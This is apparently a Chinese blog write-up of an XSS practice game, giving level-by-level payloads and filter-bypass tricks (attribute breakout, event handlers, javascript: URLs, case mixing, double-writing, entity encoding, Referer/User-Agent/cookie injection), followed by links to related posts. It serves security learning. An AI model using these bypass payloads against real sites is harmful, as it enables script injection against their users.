XSS小游戏
第一关

直接在URL输入
?name=<script>alert('xss')</script>

第二关
找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码
payload
"><script>alert('xss')</script>

第三关
依旧输入test找注入点

输入"><script>alert('xss')</script>

htmlspecialchars()转义成HTML实体
但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义
我们可以从单引号测试 payload
'onclick='window.alert()


第四关
尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >
这里构造payload绕过 < >
"onclick="window.alert('xss')

第五关
尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt
用其他语句绕过
输入"onlick="window.alert()

依旧替换 on变成o_n
我们采用JavaScript伪协议
"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

第六关
直接测试了一下,过滤了很多,查看源码

我们可以采用大小写混合拼写绕过
"><img Src=x Onerror=alert(1)>

第七关
测试了一下,script跟on等直接没了
推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过
"><scrscriptipt>alert('xss')</scrscriptipt>

第八关
输入tes

查看源码,过滤了很多,双引号也被过滤掉了

这里我们只要输入JavaScript:alert(‘xss’)即可
但是script被替换成scr_ipt
我们可以采用编码的形式绕过
payload
javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)
这是实体编码 entity code
「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

第九关
输入test测试一下,test出现在value值里面

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://
/*这是是注释*/
构造payload
javascript:alert()/*http://www.test.com*/

第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了
构造payload
?t_sort="onclick="alert()"type="text"
?t_sort=" onclick="alert()" type="text"


第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包
payload
t_sort="type="text" onclick="alert(1)


第十二关

这里是HTTP头中的Uuser-agent进行注入
构造payload
"type="text" onclick="alert(1)
在User-Agent后面跟随payload即可


第十三关

cookie注入
user=" type="text" onclick="alert(1)"

第十四关
PASS
第十五关

ng-include 指令用于包含外部的 HTML 文件
ng-include 属性的值可以是一个表达式,返回一个文件名。
payload
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
第十六关

转义成HTML实体,黑名单容易忽略过滤的字符
payload
?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过

XSS小游戏的更多相关文章
- xss小游戏通关
xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...
- XSS----payload,绕过,xss小游戏记录
一.XSS 1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览 这些网页(或触发其他条件),从而执行其中的恶意代码. 1.xss实例代码: test.html <!DOCTYPE h ...
- XSS小游戏通关Writeup
源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...
- xss小游戏源码分析
配置 下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下载解压,放到www目录下(phpstudy),http服务下都 ...
- xss games20关小游戏附源代码
1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...
- Monyer.cn黑客小游戏
花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...
- jQuery实践-网页版2048小游戏
▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...
- 拼图小游戏之计算后样式与CSS动画的冲突
先说结论: 前几天写了几个非常简单的移动端小游戏,其中一个拼图游戏让我郁闷了一段时间.因为要获取每张图片的位置,用`<style>`标签写的样式,直接获取计算后样式再用来交换位置,结果就悲 ...
- 推荐10款超级有趣的HTML5小游戏
HTML5的发展速度比任何人的都想像都要更快.更加强大有效的和专业的解决方案已经被开发......甚至在游戏世界中!这里跟大家分享有10款超级趣味的HTML5游戏,希望大家能够喜欢! Kern Typ ...
随机推荐
- Mybatis的Java API(八)
使用mybatis的主要Java接口就是SqlSession.可以通过这个接口来执行命令,获取映射器和事务管理. SqlSession是由SqlSessionFactory实例创建,SqlSessio ...
- 【Spring JDBC】数据源配置(二)
一.Spring内置数据源 1. 创建Maven Project,修改pom.xml <properties> <!-- JDK版本 --> <java.version& ...
- angular 多路由模块新建组件的方法
More than one module matches. Use skip-import option to skip importing the component into the closes ...
- 2019 SDN阅读作业
2019 SDN阅读作业 1.为什么需要SDN?SDN特点? 答:因为随着网络规模的不断扩大,封闭的网络设备内置了过多的复杂协议,增加了运营商定制优化网络的难度,科研人员无法在真实环境中规模部署新协议 ...
- 编译安装nmap
官方编译文档 参考 安装对应的库,并编译安装.
- JAVA基础系列:Arrays.sort()
JDK 1.8 java.util.Arrays.class(rt.jar) 1. Collections.sort方法底层就是调用的Arrays.sort方法. 2. Java Arrays中提供 ...
- Orm框架(AntOrm,Ktorm)在mac机器上如何使用代码生成
Orm框架介绍 AntOrm 是我维护的一个开源csharp -netcore 项目 Ktorm 是一个大神开源的kotlin项目 由于我工作上都用到了,为了提高工作效率 我写了一个mac端工具帮助快 ...
- Windows环境Tomcat开启APR并配置http/2.0访问
1.http/2.0需要开启https 参考:https://www.cnblogs.com/zhi-leaf/p/11978615.html 2.下载tcnative-1.dll文件 官网下载地址: ...
- npm和yarn的区别,我们该如何选择?
首先,这两个都属于js包管理工具,都可以安装包或者模块yarn 是由facebook.google等联合开发推出的区别: npm 下载包的话 比如npm install它是按照包的排序,也就是队列挨个 ...
- SpringBoot-@ControllerAdvice 拦截异常并统一处理
SpringBoot是为了简化Spring应用的创建.运行.调试.部署等一系列问题而诞生的产物, 自动装配的特性让我们可以更好的关注业务本身而不是外部的XML配置,我们只需遵循规范,引入相关的依赖就可 ...